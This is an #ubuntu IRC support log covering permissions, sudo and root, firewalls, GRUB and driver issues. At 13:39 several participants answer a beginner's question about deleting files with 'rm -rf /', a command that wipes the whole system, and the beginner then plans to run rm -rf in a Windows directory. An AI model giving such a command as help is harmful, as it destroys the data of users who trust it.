[12:55] <brandonc503> Herbs: i went to user groups and set the home directory to /var/www/user2
[12:55] <kolorowa> hej
[12:56] <Herbs> brandon503 if you cant do it via ssh then you cant do it via sftp wether you have setup ftp access is another thing
[12:56] <brandonc503> Herbs: how can i see if ftp is installed on my Ubuntu?
[12:56] <afeder_> atlef, that did not seem to help .. it looks right just after login, but then a few seconds later it is as if something crashes and it defaults to a gnome look
[12:56] <Herbs> ftp localhost
[12:56] <lehel_> How can i costumize the dash in 10.04, or it cannot be done? thanks
[12:57] <Dr_Willis> lehel_:  some teaks -> http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[12:57] <brandonc503> ftp is currently not installed
[12:57] <dawn__> dk..
[12:57] <Dr_Willis> !dash
[12:57] <ubottu> /bin/sh links to the DASH shell in all releases since Ubuntu Edgy (6.10). Since DASH is not 100% compatible with the BASH shell, some scripts might break. You can make scripts execute using BASH by changing the first line of the script to « #! /bin/bash
[12:57] <atlef> afeder, ok, then i do not know. maybe a problem with the gfx driver
[12:57] <dawn__> 아....
[12:57] <dawn__> 안녕하세요
[12:57] <Dr_Willis> heh wrong dash factoid
[12:57] <FloodBot3> dawn__: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[12:58] <afeder_> ok
[12:58] <Herbs> brandon503 you should be cool then
[12:58] <psycho_oreos> !kr| dawn__
[12:58] <psycho_oreos> !korean| dawn__
[12:58] <ubottu> dawn__: 도움이 필요하시면 다음 채널에 조인하십시오. /join #ubuntu-ko
[12:58] <brandonc503> Herbs: i just connected via filezilla and i can see everything
[12:59] <Herbs> brandon503 are you using ftp ? if so what ftp sertver?
[12:59] <lehel_> thanks Willis
[12:59] <afeder_> a few seconds after login something crashes that cause my desktop to revert from ubuntu look to a default gnome look ... does anyone please have any ideas for how to fix this?
[12:59] <Christian87> äöü
[12:59] <ozanorhan> you guys have any idea how can i automount hdd. i use 2 internal hdds guide i found online are about partition of same hdd and usb storages i thought you could help me. thanks in advance
[12:59] <brandonc503> Herbs: my filezilla starts with sftp://user2@...... and ftp said not isntalled
[13:00] <coz_> ozanorhan,  have you looked here ?   http://ubuntuforums.org/showthread.php?t=550383
[13:00] <brandonc503> Herbs: and setting type is SFTP - SSH File Transfer Protocol
[13:01] <Herbs> sftp gives the same rights as ssh so your users have the wrong permissions
[13:01] <terrenceKJ> Hi all - Upgraded to Ubuntu 11.04, and banshee doesn play my media files
[13:01] <matthias_> hi, the fan of my thinkpad t60 running ubuntu 10.4 is always on, any ideas what to do?  some time ago it was turning off wen the temperature was low enough
[13:01] <ozanorhan> thanks coz_ i'll look into it.
[13:01] <brandonc503> Herbs: i can adjust those with the tool in Ubuntu right? the User Groups?
[13:01] <Incarus6> !restrictedformats | terrenceKJ
[13:01] <ubottu> terrenceKJ: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also https://help.ubuntu.com/10.04/musicvideophotos/C/video.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[13:01] <kurtul> http://pastebin.ca/2052500 this computer's wireless doesn't work. is it something fixable?
[13:01] <coz_> ozanorhan,  cool
[13:02] <terrenceKJ> Anyway to solve the banshee issue on 11.04
[13:02] <Herbs> brandon503 if your giving users ssh/sftp access you need to understand linux permissions
[13:02] <kaie> hello. I use harddisk encryption, get a prompt for the disk password during boot, works fine. in addition, I use an external usb drive, also encrypted, same password. currently, I must manually unlock the external driver after boot. I wish ubuntu could use the primary-encrypted-password on boot to unlock attached usb drives, too. any ideas how to do that?
[13:03] <afeder_> what program creates the slick, dark grey ubuntu look with the monocrome icons in the notification area and so on?
[13:03] <Herbs> brandon503 its not something someone can walk you through Im afraid
[13:03] <brandonc503> Herbs: so i cant use the Ubuntu tool. i need to do in terminal?
[13:03] <Herbs> brandon503 yes
[13:03] <Herbs> well I dont know what ubuntu tool is
[13:04] <terrenceKJ> Banshee - palyer help needed
[13:04] <Herbs> Im a red hat user and admin
[13:04] <coz_> terrenceKJ,  not sure,, you could try uninstalling and then reinstalling banshee,, the problem is that ubuntu upgrades from one version to the next is consistently inconsistent,,, I always suggest clean installs,, but completely understand there are circunmstances that an upgrade is needed,,, however,, troubleshooting an upgraded system is far more  difficulte,, that said,, when you open banshee via the terminal and try to play a file,, are there er
[13:04] <coz_> rors  reported?..yes?
[13:04] <terrenceKJ> Not playing anything on 11.04
[13:04] <brandonc503> Herbs: the  System, > Administration > Users and Groups
[13:04] <Daniel0108> hi
[13:04] <linux> Hi
[13:04] <Herbs> brandon503 I dont do gui Im sorry
[13:04] <brandonc503> ah kk
[13:05] <terrenceKJ> Thanks Cos
[13:05] <terrenceKJ> Going to do a fresh Banshee install
[13:05] <coz_> terrenceKJ,   wel wait
[13:05] <coz_> gah
[13:05] <Daniel0108> I have a problem, I can't connect to another IRC network with my client. Only freenode works. If I connect over webchat, it also works. I think there's a firewall running, but I don't know which firewall is still running, I disabled firestarter :/
[13:06] <coz_> Daniel0108,  which client?
[13:06] <Guest153289> why does compiz not work like how it did in 10.04 and 10.10?  Even in ubuntu classic it strips my top bar for close, minimize and maximize, and then doesn't let me move any of my windows
[13:06] <Daniel0108> coz_: xchat and irssi :P
[13:06] <kaie> sometimes it helps to asks questions on irc, it's inspiring for coming up with good search engine questions. found http://www.howtoforge.com/automatically-unlock-luks-encrypted-drives-with-a-keyfile - might be able to solve my scenario
[13:06] <BlouBlou> Daniel0108: which error are you getting?
[13:06] <Dr_Willis> Daniel0108:  check with sudo iptables --list to see if thers any rules. I would find it a nifty fireqwall rule that would block irc except for freenode.
[13:06] <coz_> Daniel0108,  thats odd.. i am probably the biggest doof with any kind of networking issue,, however,,, if no one here can help,, try the ##linux channel
[13:06] <Daniel0108> BlouBlou: I can connect to the server, but I get no response from it, I'm online, but I don't get server responses, it's a one-way connection
[13:07] <Dr_Willis> Guest153289:  sounds like the window decortator is not running.
[13:07] <Daniel0108> Dr_Willis: No, iptables accepts all connections
[13:07] <coz_> ah yes Dr_Willis  is far more gifted with networking issues  :)
[13:07] <Dr_Willis> Guest153289:  you are saying thers no title bar or buttons for any windows?
[13:07] <danielmorton> hey
[13:07] <Dr_Willis> Daniel0108:  if thers no rules. then its not your firewall settings on the pc.
[13:08] <Guest153289> Dr_Willis, correct, but it says gtk window decorator is running, false positive?
[13:08] <Mortz> is this the ubuntu channel or kubuntu??
[13:08] <atlef> ubuntu
[13:08] <Daniel0108> Dr_Willis: hmm.. so it's a router firewall? but it worked a few days ago... btw, the last message I get from the server is: "* *** Looking up your hostname..."
[13:08] <coz_> Guest153289,   false positive?  mm  did you already try hitting alt+F2     gtk-window-decorator --replace   ...yes?
[13:09] <linux> What is the time? sorry.
[13:09] <coz_> linux,  in which time zone?
[13:09] <Herbs> Dr_Willis do you happen to know of a guide for redhat users to using ubuntu iptables,,,,?
[13:09] <phibxr> linux, you have a /time-command here. ;)
[13:09] <kaie> I wonder if /etc/fstab entries can be made optional. if device is present on boot, then mount it. if not, skip it (proceed boot)
[13:09] <pksadiq> !time
[13:09] <ubottu> Information about using and setting your computer's clock on Ubuntu can be found at https://help.ubuntu.com/community/UbuntuTime - See https://help.ubuntu.com/10.04/serverguide/C/NTP.html for information on usage of the Network Time Protocol (NTP)
[13:09] <linux> Oh.
[13:10] <Guest153289> coz_, alt-f2 is doing nothing, but in a terminal gtk-window-decorator --replace just hangs
[13:10] <Herbs> I always modify the /etc/sysconfig/firewall and then execute /etc/sysconfig/firewall but I dont think thats the proper way?
[13:10] <kurtul> my wireless doesn't work...
[13:10] <coz_> Guest153289,   ok open ccsm,,Preferences   hit the reset to defaults button
[13:11] <coz_> Guest153289,   is this 11.04  and is it an upgrade or clean install?
[13:11] <maxagaz> Herbs, still here ?
[13:11] <Dr_Willis> Herbs:  iptables is iptables.. as far as i know
[13:11] <Herbs> not in ubuntu it aint lol
[13:11] <nukem> i am looking for linux distro that asks for root password during  installation
[13:11] <coz_> maxagaz,  you can check if someone is still here by typing the first 2 or 3  letters of their name  and tabbing to see if it completes
[13:12] <Dr_Willis> Herbs:  the firewall tools are just front ends to iptables commands as far as  know. The actual iptables and modules are the same.
[13:12] <nukem> why doesn't ubuntu ask for root password during ubuntu installation
[13:12] <Dr_Willis> nukem:  becuase thers no root password set by default. root user is locked down.
[13:12] <coz_> nukem,   fedora,,, opensuse,,, maybe  gentoo or  sabayon  maybe
[13:12] <Dr_Willis> !sudo | nukem
[13:12] <ubottu> nukem: sudo is a command to run command-line programs with superuser privileges ("root") (also see !cli). Look at https://help.ubuntu.com/community/RootSudo for more information. For graphical applications see !gksu (GNOME, Xfce), or !kdesudo (KDE). If you're unable to execute commands with sudo see: http://www.psychocats.net/ubuntu/fixsudo
[13:13] <Dr_Willis> root user password - is a rather trivial reason to decide on a disrto.
[13:13] <trailoryo> when im trying to run spotify through wine this is what it says: There is a problem with your sound card. Spotify cant play music.
[13:13] <nukem> Dr_Willis  then what distro ask for root password during installation
[13:13] <brandonc503> Herbs: is this towarsds what i need? http://www.howtoforge.com/chrooted-ssh-sftp-tutorial-debian-lenny
[13:13] <Joris_> hi guys, i happily upgraded to 11 yesterday but now my wireless doesn't work anymore on my laptop:( it says "disabled" -- then I issue the command "iwconfig wlan0 up" (or something like that) the hardware light from my wireless card goes on -- which is good, but I still don't get any internet :(
[13:13] <Dr_Willis> nukem:  ones mentioned above
[13:13] <Herbs> thats why my methods have always worked because they are just .ssh scripts but Im curious at what the official way to update iptables in ubuntu is
[13:13] <Guest153290> sorry Dr_Willis and coz_ got disconnected, but gtk command did nothing
[13:13] <Dr_Willis> nukem:  you can always set the root users password. but its not reccomended. and in ubuntu - not needed
[13:13] <Joris_> anyone an idea what i might try? i googled but couldn't find anything that could solve it:(
[13:13] <Herbs> ,sh scripts one to many s
[13:14] <coz_> Guest153289,   is this 11.04  and if so ,, is it an upgrade or clean install?
[13:14] <nukem> dr_willis i don't like distro that disables root
[13:14] <Dr_Willis> nukem:  I think you need to do more reserch then. Root is not disabled.. its locked down.
[13:14] <nukem> drwillis what is the diffrence between lockeddown and disabled
[13:14] <pksadiq> !/time
[13:14] <bigMike> ugh
[13:14] <bigMike> getting an ugly 'Sorry no more PTYs' error
[13:14] <bigMike> on running screen for a user account?
[13:14] <ubottu> Information about using and setting your computer's clock on Ubuntu can be found at https://help.ubuntu.com/community/UbuntuTime - See https://help.ubuntu.com/10.04/serverguide/C/NTP.html for information on usage of the Network Time Protocol (NTP)
[13:14] <coz_> nukem,  well ubuntu is "disabled"  on the surface  you can still set a root password,, although I will probably get  hazed for saying that :)
[13:14] <Sidewinder1> coz_: regarding the root pswd thing, what about Slackware?
[13:14] <Herbs> nkem you want root its always there sudo passwd root ;)
[13:14] <Mortz> does anyone know how to get team fortress working on ubuntu?
[13:14] <Joris_> i also tried to boot again with the live cd without success
[13:15] <Dr_Willis> nukem:  You cant directly login as root. root user is still there. You just use sudo as needed to do root tasks
[13:15] <coz_> Sidewinder1,  that's also possible,,  I havent tried slack for some time now so I dont remember
[13:15] <coz_> Sidewinder1,  many of the other distributions ask for root password long before setting user passwords
[13:15] <nukem> dr_willis   i cannot directly login as root:  is this ubuntu-only thing?
[13:15] <Herbs> somethings dont work with sudo
[13:15] <coz_> Sidewinder1,  you can still set root password in ubuntu
[13:15] <Dr_Willis> nukem:  you could do it in other disrots i imagine.. i dont bother with other disrtos.
[13:16] <Zeit|awy> OS X also, just use su -
[13:16] <Dr_Willis> Herbs:  if you know what you are doing.. they all should work with sudo
[13:16] <ozanorhan> is removing softwares that came with ubuntu dangerous. i mean softwares like evolution and empathy
[13:16] <nukem> i refuse to use ubuntu for this reason then
[13:16] <coz_> Sidewinder1,  I think that was for nukem
[13:16] <Dr_Willis> nukem:  have a nice day then.. goodby
[13:16] <coz_> nukem,  then set the root password in ubuntu
[13:16] <Herbs> no smaba shares on certain setyups sont work with sudo
[13:16] <nukem> coz can i log in as root  after setting root password
[13:16] <coz_> nukem,  yes
[13:16] <Dr_Willis> Herbs:  cant say that ive ever had an issue with samba shares.
[13:16] <nukem> then why did drwill said no i cannot
[13:17] <ikonia> nukem: if you don't know these things - you should be using sudo
[13:17] <coz_> nukem,   well I dont its supported here
[13:17] <ikonia> there is no reason to login as root
[13:17] <Dr_Willis> nukem:  i said you dont need to set the paswsword. theres no need to login directly as root.
[13:17] <nukem> ikonia  what do you mean i don't know these things: i know how to use root
[13:17] <Dr_Willis> you definatly dont want to logint o X as root.
[13:17] <lightstep> hello
[13:17] <Guest153290> other example is that i cannot move windows, alt-mouse1 does nothing either
[13:17] <ikonia> nukem: yet you don't know that you need to set a password to login as root
[13:17] <Sidewinder1> coz_:Naw, I understand; I was just wondering...
[13:17] <lightstep> i created a new indicator applet for myself, in ~/bin
[13:17] <coz_>  Sidewinder1  ok cool
[13:17] <lightstep> how do i make it start when i log in?
[13:17] <Herbs> root isnt dirty just becareful if your new
[13:18] <nukem> ikonia  because it's usually asked during  installation
[13:18] <shahrul> welcome
[13:18] <DASSDDSAFA> hi
[13:18] <Dr_Willis> wheres more to sudo then just somthing  to add another layer to get to root. :)
[13:18] <ikonia> nukem: the sudo model is quite basic and effective
[13:18] <bigMike> anyone?
[13:18] <lightstep> i can't find the xsession script any more
[13:18] <bigMike> how can I unblock ttyp1?
[13:18] <Daniel0108> Dr_Willis: It's definitely my firewall, I tried it on my desktop and it worked
[13:18] <trailoryo> when im trying to run spotify through wine this is what it says: There is a problem with your sound card. Spotify cant play music. Anyone?
[13:18] <nukem> ikonia i hate sudo model with a passion
[13:18] <bigMike> Cannot open your terminal '/dev/ttyp1' - please check.
[13:18] <ikonia> bigMike: saying anyone is pointless, ask a question and wait for a response
[13:18] <ikonia> nukem: yet you don't understand it.....hence you'd know to set a root password
[13:18] <Herbs> sudo on ubuntu is root basically bevause it allows all
[13:18] <DASSDDSAFA> hi
[13:18] <bigMike> ok sorry
[13:18] <Dr_Willis> Daniel0108:  flush all the firewall rules.. You said there were none allready.
[13:19] <Daniel0108> Dr_Willis: are there other firewalls, I don't think iptables is the only firewall I have :P
[13:19] <Dr_Willis> Daniel0108:  what other firewalls? i dont see much point in layers of firewalls really :)
[13:19] <Herbs> but you still seem to need root for certain things i.e setting up autofs using sudo messes it up
[13:19] <Zeit|awy> nukem: su - ; whoami -->root
[13:19] <Dr_Willis> !firewall
[13:19] <ubottu> Ubuntu, like any other Linux distribution, has firewall capabilities built-in. The firewall is managed using the 'ufw' command - see https://help.ubuntu.com/community/UFW | An alternative to ufw is the 'iptables' command - See https://help.ubuntu.com/community/IptablesHowTo | GUI frontends such as Gufw (Gnome) or Guarddog (KDE) also exist.
[13:19] <coz_> nukem,  did you see my PM?
[13:19] <Guest153290> welp, i guess i'll just reinstall then, hopefully compiz and the window decorator will feel better on the other side
[13:20] <Dr_Willis> Zeit|awy:  that dont work in ubuntu.
[13:20] <Dr_Willis> Zeit|awy:  use sudo -i
[13:20] <Daniel0108> Dr_Willis: yes I know, but I installed ufw, and then I removed it because it blocked the connections :/
[13:20] <Zeit|awy> since when?
[13:20] <Dr_Willis> Daniel0108:  ufw is a front end to iptables. the iptables command would show the rules ufw made.
[13:20] <Daniel0108> Dr_Willis: yes, there were rules, but I flushed them
[13:20] <Herbs> and?
[13:20] <Dr_Willis> Zeit|awy:  since.. always.. as far as i know.
[13:21] <Herbs> there still there in /etc/sysconfig/firewall
[13:21] <Dr_Willis> those rules would get reinstalled on reboot Herbs  i belive.
[13:21] <Dr_Willis> using iptables command directly bypassed the normal rule set.
[13:21] <Herbs> unless you flushed them before writing thm
[13:22] <Dr_Willis> flush all your troubles away :)
[13:22] <Herbs> they would if they werent saved
[13:22] <wujie> ubuntu11.04 BAD
[13:22] <BlouBlou> ok
[13:22] <Dr_Willis> wujie:  demand a refund.
[13:22] <atlef> haha
[13:22] <amews_aj> wujie, why do you think that?
[13:23] <Dr_Willis> I still cant imagine what sort of Firewall rule would block other IRC networks but not freenode. Unless is some port range. or they require IDENTD
[13:23] <Magnusson> testing my client settings, could someone mention my name in channel in 5 secs?
[13:23] <karthick87> How to list all biggest directories in a drive?
[13:23] <Dr_Willis> karthick87:  for the whole drive? or in the users home?
[13:23] <wujie> no use wine
[13:23] <Sidewinder1> Side wants 10% of wujie's refund   :-)
[13:23] <Zeit|awy> Dr_Willis: no, it works, but after you set the root passwd once
[13:23] <Dr_Willis> wujie:  if you have a support question - please state it.
[13:23] <karthick87> Dr_Willis: For the whole drive?
[13:24] <wujie> Looking forward to gnome3
[13:24] <Dr_Willis> Zeit|awy:  and setting a root password is definatly not needed..
[13:24] <Herbs> who thinks there firewalls blocking channels is WRONG
[13:24] <trailoryo> Magnusson
[13:24] <Dr_Willis> Zeit|awy:  and not reccomended or advised or supported by this channel
[13:24] <ozanorhan> coz_got one more question. is removing softwares that came with ubuntu dangerous. i mean softwares like evolution and empathy
[13:24] <Magnusson> thanks trailoryo :)
[13:24] <Magnusson> hmm no sound
[13:24] <trailoryo> np
[13:24] <bigMike> arghs
[13:24] <bigMike> screen is fully dead for me
[13:24] <Dr_Willis> karthick87:  via command line 'du -hs' perhaps.
[13:24] <bigMike> the server went down
[13:24] <bigMike> and since it came back up this is an issue now
[13:24] <Dr_Willis> karthick87:  via command line 'du -hs /' perhaps.
[13:24] <ubuntu345332> is it possibile to force the nomodeset on a ubuntu 11.04 pendrive live?
[13:25] <Herbs> the firewall will block ranges, ports hostnames but not allow one irc channel without the others unless its a seriously locked down firewall
[13:25] <ubuntu345332> (as default)
[13:25] <bigMike> any users apart from root cannot run screen now
[13:25] <wujie> Why was not compatible with QQ?
[13:25] <Sidewinder1> ozanorhan, You may remove them if you want; if you want them back, simply reinstall.
[13:25] <DJRoby4> hello, I have a problem: I installed ubuntu and on reboot appears only a black screen with a blinking white dash
[13:25] <Dr_Willis> ubuntu345332:  you can edit the syslinux.cfg files on th pendrive. or hit the space key when it boots and you see the man logo (i think) and hit F6 and enable nomodeset
[13:25] <Incarus6> wujie, pls ask a complete question
[13:25] <ozanorhan> thanks Sidewinder1
[13:25] <wujie> ok，
[13:25] <Sidewinder1> ozanorhan, No problem.
[13:26] <bigMike> when one runs screen
[13:26] <Incarus6> Do someone know where I can revert the new background-colorsettings of Grub in 11.04? grub.cfg?
[13:26] <bigMike> where is the ttyp directed?
[13:26] <wujie> Why did not the cool 3D ？
[13:26] <nukem> what is last version of ubuntu to NOT use "sudo-model"?
[13:26] <ikonia> nukem: there isn't one
[13:26] <Dr_Willis> Incarus6:  you should be editing the /etc/default/grub and /etc/grub.d/ files. Not grub.cfg
[13:26] <ikonia> nukem: they all use the sudo security model
[13:26] <bigMike> hi ikonia
[13:26] <ubuntu345332> Dr_Willis, thx i know with the f6, but i give a look to the syslinux.cfg thx
[13:26] <nukem> i refuse to use  sudomodel
[13:27] <ikonia> hello
[13:27] <ikonia> nukem: don't use ubuntu then, thanks
[13:27] <DJRoby4> hello, I have a problem: I installed ubuntu and on reboot appears only a black screen with a blinking white dash
[13:27] <Dr_Willis> ubuntu345332:  the syslinux configs on the flash are rather complex.. takes me some time to figure out which file to edit.
[13:27] <bigMike> guess no one else has faced these issues?
[13:27] <Pelo> all my calendars now start the week on saturday , this is effing ridiculous
[13:27] <ikonia> bigMike: what's the problem ?
[13:27] <ubuntu345332> Dr_Willis, thx :(((((
[13:27] <pao> does any one know to make my backtrack 4 r2 look like mac??
[13:27] <Dr_Willis> ubuntu345332:  the default syslinux.cfg includes other files. i had to look through them all the other day
[13:27] <bigMike> @ikonia
[13:27] <bigMike> Cannot open your terminal '/dev/ttyp1' - please check.
[13:27] <karthick87> Dr_Willis: Thank you :)
[13:27] <Dr_Willis> pao:  ask in the backtrack channekl.
[13:28] <DJRoby4> anyone can help me?
[13:28] <ikonia> pao: ask in #backtrack-linux - we don't support backtrack in this channel
[13:28] <Incarus6> Dr_Willis, Im not sure where canonical located the color setting (it's not in /etc/default/grub) , is it  /etc/grub.d/05_debian_theme?
[13:28] <ikonia> bigMike: at boot time ?
[13:28] <atlef> !backtrack | pao
[13:28] <ubottu> pao: There are some Ubuntu derivatives that we cannot provide support for due to repository and software changes. Please consult their websites for more information. Examples: gNewSense (support in #gnewsense), Linux Mint (see !mint), LinuxMCE (support in #linuxmce), CrunchBang (support in #crunchbang), BackTrack (support in #backtrack-linux), Ultimate Edition
[13:28] <bigMike> indeed
[13:28] <Herbs> ikonia its not that simple with gfx drivers these days
[13:28] <ikonia> bigMike: 11.04 ?
[13:28] <Pelo> anyone know where I'M suppose to change the first weekday now ?  /usr/share/i18n/locales isn'T it apparently
[13:28] <bigMike> 10.04
[13:28] <ikonia> Herbs: what ?
[13:28] <bigMike> LTS
[13:28] <DJRoby4> anyone can help me
[13:28] <DJRoby4> ???
[13:28] <Dr_Willis> Incarus6:  i would have to check the grub2 docs/guides and configs. I disable the fancy grub stuff and enable the old-skool text look in /etc/default/grub
[13:28] <Herbs> not using ubuntu
[13:28] <Belias> Hi, what to use in order to code with C and C++ ?
[13:29] <ikonia> Herbs: what are you talking about ?
[13:29] <Sidewinder1> !ask | DJRoby4
[13:29] <ubottu> DJRoby4: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[13:29] <Pelo> DJRoby4, did you have ubuntu working before ?
[13:29] <Pelo> sidewalk, read up, he did ask
[13:29] <ikonia> Belias:  text editor and a compiler - gcc is the most common on the linux platform
[13:29] <Pelo> Sidewinder1, , he did ask , read up
[13:29] <ikonia> bigMike: has this ever worked ?
[13:29] <Herbs> err ubuntu is the most trouble free disto to get gfx working when they are needed
[13:29] <DJRoby4> Pelo, i got elementary os, I've done a fresh install of natty
[13:29] <bigMike> for the past um year xD
[13:30] <ikonia> Herbs: no-one said it's not, what are you talking about
[13:30] <Incarus6> Dr_Willis, nevermind, it's not that important, just annyoing (text isn't shown up correctly)
[13:30] <bigMike> it's a VPS
[13:30] <bigMike> been running fine
[13:30] <Pelo> DJRoby4, anything odd about your hardware ?
[13:30] <Sidewinder1> Pelo: sorry, trying to multi-task several channels; failing miserably.
[13:30] <Dr_Willis> Incarus6:  fancy grub menu here set the monitor out of range. :) so i had to change it.
[13:30] <ikonia> bigMike: can you boot the box ?
[13:30] <bigMike> and I've setup byobu under my usual account that I ssh into (keypair)
[13:30] <bigMike> not a box, it's a virtual container
[13:30] <pao> hi want to learn more about the use of metasploit instead of simply run and hack virtual machines
[13:30] <ikonia> bigMike: virtual container ? in that case look at the permissions
[13:30] <bigMike> persm of?
[13:31] <ikonia> pao: join the mailing list then
[13:31] <bigMike> ttyp1 itself?
[13:31] <ikonia> bigMike: within the container
[13:31] <Daniel0108> Dr_Willis: I flushed my iptables config and it's still blocking the connection, I don't know WHAT is blocking my connection. I messed up my firewall config :/
[13:31] <pao> how to join???
[13:31] <DJRoby4> Pelo, to install ubuntu I had to remove the nvidia hardware raid, my motherboard is an asus m4n98td evo, my video card is an NVIDIA GeForce GTX 470
[13:31] <Daniel0108> Dr_Willis: It worked before I set up firewall stuff yesterday
[13:31] <ikonia> pao: read the support information on their website
[13:31] <phibxr> DJRoby4, you should probably ask on the elementary forums/channels instead.
[13:31] <bigMike> yea but perms of what inside the cointainer
[13:31] <bigMike> ttyp1 itself or?
[13:32] <ikonia> bigMike: of the ttyp1 device file, but the one that is within the container
[13:32] <DJRoby4> phibxr, no I removed elementary and I have installed natty!
[13:32] <Daniel0108> Dr_Willis: are there any logs where I can see what is blocking the connection?
[13:32] <Incarus6> Dr_Willis, I allways wonder how ubuntu can broke working things ;) I can't hibernate anymore since upgrade, grubs text isn't shown correctly, unity isn't working, and and and :D
[13:32] <coz_> pao,   where you type here   type  /join #nameofchannel
[13:32] <phibxr> DJRoby4, oh, I see. I thought you upgraded. :)
[13:32] <bigMike> annoying Plesk doesn't show me any perms
[13:32] <bigMike> *annoyingly
[13:32] <syn3rgy> How do I get my weather app.
[13:32] <Pelo> DJRoby4, the nvidia raid stuff is out of my leaque but that shoudln'T matter at this point,  wher you able to run a live session ?
[13:32] <DJRoby4> phibxr, no, a fresh install
[13:32] <ikonia> bigMike: can you show me the output of uname -a please ?
[13:32] <Herbs> bigmike plesk is shit but whats your issue?
[13:33] <ikonia> Herbs: control the language please.
[13:33] <coz_> syn3rgy,  in 11.04  the weather applet you mean ...yes?
[13:33] <studentz> Hi there I mounted two encrypted HD using Disk Utility They don't appear neither  in media directory or .gvfs.  Also there is not icon of them in the dock or my desktop. I'm in natty  How I can find them
[13:33] <DJRoby4> Pelo, yes I can run a live session and I removed the Raid!
[13:33] <bigMike> Herbs will do when it's back up :)
[13:33] <syn3rgy> coz_ yes. I really don't want to use some sort of clouding though.
[13:33] <Herbs> bigmike plesk sucks big time
[13:33] <pao> coz, how will i know the name of the channel
[13:33] <ikonia> Herbs: you've said that - give it a rest
[13:33] <Herbs> whats up with it?
[13:33] <Pelo> DJRoby4, , when you get that blinking cursor, can you type anyting or it is just a timer ( busybox) ?
[13:33] <ikonia> pao: look on their website
[13:33] <bigMike> ok when I last sshed in
[13:33] <bigMike> 2.6.18-028stab089.1 #1 SMP Thu Apr 14 13:46:04 MSD 2011 x86_64 GNU/Linux Ubuntu 10.04.2 LTS
[13:33] <coz_> syn3rgy,  I think that is mentioned here as well as other tweaks possible   http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[13:34] <Herbs> ikonia I didnt swear though!
[13:34] <pao> coz, ive joined irrc chat now only
[13:34] <matthias_> hi, the fan of my thinkpad t60 running ubuntu 10.4 is always on, any ideas what to do?  some time ago it was turning off wen the temperature was low enough
[13:34] <DJRoby4> Pelo, if you wait for me, I try
[13:34] <ikonia> bigMike: it maybe worth talking to your hosting provider, the reason I say that is that vps has a modified kernel (other things are probably modified too)
[13:34] <syn3rgy> coz_ thx
[13:34] <pao> and everything is new to me in this chat room
[13:34] <bigMike> ikonia: ok thanks.  yeah something is very wrong here.
[13:34] <coz_> syn3rgy,  some of that is pretty interesting on that link
[13:34] <bigMike> MediaTemple - and their support are being nasty about this issue
[13:34] <Pelo> DJRoby4, I 'll wait , just  say my nick when you come back to it hightlights me
[13:34] <Pelo> DJRoby4, I won'T wait an hour
[13:35] <DJRoby4> Pelo, ok! thanks!
[13:35] <Herbs> ikonia I work for an ISP that provide plesk and yes thats true but might be able to help
[13:35] <bigMike> sure it's a Linux VPS but when the container resets and I loose SSHd how the hell is it something I can manage?
[13:35] <KNUBBIG> Hi, is there an option to tell irssi to set away automagically after, say 30 min, and change the nick?
[13:35] <coz_>  by the way ,,, good day all  :)
[13:35] <Pelo> KNUBBIG, irssi has a nice channel of their own
[13:35] <_Keepiru> i cant get it running properly again. damn it.
[13:35] <Herbs> bigmike your issue is not plesk
[13:35] <KNUBBIG> Pelo: ok ...
[13:36] <_Keepiru> i just run an update to 11, and if this works, i disable ALL updates.
[13:36] <tjiggi_fo> top o the mornin' coz_ :)
[13:36] <DJRoby4> Pelo, I'm waiting to see if a couple of minutes to change something
[13:37] <coz_> tjiggi_fo,   :)  thanks
[13:37] <DJRoby4> Pelo, nothing, I can't type nothing
[13:38] <knifepoint> I am have some serious Launcher/Window focus issues with Unity in Ubuntu 11.04 is there a compiz plugin i shoul/shouldn't have enabled?
[13:38] <knifepoint> *having
[13:38] <Pelo> DJRoby4, ,ok , are you sure (don't be insuslted just checking) that you are installing the correct version for your hardware ( ie 32/64 bit )
[13:39] <DJRoby4> Pelo, i've got a 64 bit processor, but I installed 32 bit version
[13:39] <DJRoby4> Pelo, CPU*
[13:39] <syn3rgy> How do I make Dash stop showing all my porn!
[13:39] <Glycan> What is the delete/erase command on terminal?
[13:39] <bigMike> lols syn
[13:39] <bigMike> rm ?
[13:39] <Glycan> tHANKS.
[13:39] <bigMike> sudo rm rf *
[13:39] <Glycan> rf?
[13:39] <Herbs> rm -rf /
[13:39] <bigMike> rm -rf /
[13:39] <coz_> Glycan,   rm -rf  /nameof directory or file
[13:39] <bigMike> yea :)
[13:40] <Glycan> What does that mean?
[13:40] <Herbs> no dont
[13:40] <Glycan> rf
[13:40] <bigMike> r = recursive
[13:40] <bigMike> f = force
[13:40] <Glycan> Oh.
[13:40] <Pelo> DJRoby4, that should work but I would recommend you try the 64 bit one,  in anycase I was going to suggest that you try a second install using the alternate install cd,   it's text based ( looks like the old dosshell)  and it used to be slightly more reliable when you had install problems with the live version
[13:40] <Herbs> remove all files and force it from /
[13:40] <bigMike> you need that for directories
[13:40] <Incarus6> Dr_Willis, I found a small tool called "startupmanager", that fixed it for me (you can also change the resolution with it
[13:40] <Incarus6> !info startupmanager
[13:40] <ubottu> startupmanager (source: startupmanager): Grub, Usplash and Splash screen configuration. In component universe, is optional. Version 1.9.13-5 (natty), package size 114 kB, installed size 1360 kB
[13:40] <bigMike> well / would wipe *everything*
[13:40] <syn3rgy> I downloaded my porn fair and square. Its mine. Thing is that I don't needed flagged all over my Dash.
[13:40] <Glycan> Okay, so if I'm in /host/Windows, and I say rm -rf *.*, will that work the way I think it should?
[13:41] <DJRoby4> Pelo, but the installer works!
[13:41] <sam_00393948> hey.   i tried to upgrade to 11.04 yesterday and it basically busted up.  Does anyone know if there are any issues with upgrading from 10.10 to 11.04?
[13:41] <coz_> syn3rgy, ooo especially if others use that system
[13:41] <motomast3r> hello to all. any one can help with alsamixer ?
[13:41] <scott__> Anybody have issues with getting firefox to play nice with the globalmenu in 11.04?
[13:41] <Pelo> DJRoby4, oh sorry I thought you wanted the computer to work ...
[13:42] <DJRoby4> Pelo, I did not say anything
[13:42] <syn3rgy> coz_ yeah really...em like my wife
[13:42] <TheWubber> where are VLC settings stored?
[13:42] <syn3rgy> coz_ "yeah honey thats you" is not going to work
